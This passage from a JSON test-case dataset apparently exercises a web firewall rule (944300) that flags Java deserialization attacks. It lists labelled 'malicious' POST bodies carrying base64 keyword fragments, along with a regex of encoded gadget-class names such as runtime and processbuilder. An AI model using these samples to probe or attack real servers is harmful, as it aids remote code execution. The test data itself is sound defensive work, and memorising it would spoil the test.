attribute_name=\"HdoaWxlY2xvc3VyZQ\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">HdoaWxlY2xvc3VyZQ</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">HdoaWxlY2xvc3VyZQ</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HdoaWxlY2xvc3VyZQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"HdoaWxlY2xvc3VyZQ\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"HdoaWxlY2xvc3VyZQ\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword HdoaWxlY2xvc3VyZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=B3aGlsZWNsb3N1cmU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "B3aGlsZWNsb3N1cmU=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"B3aGlsZWNsb3N1cmU\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">B3aGlsZWNsb3N1cmU</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">B3aGlsZWNsb3N1cmU</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=B3aGlsZWNsb3N1cmU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword B3aGlsZWNsb3N1cmU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"B3aGlsZWNsb3N1cmU\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 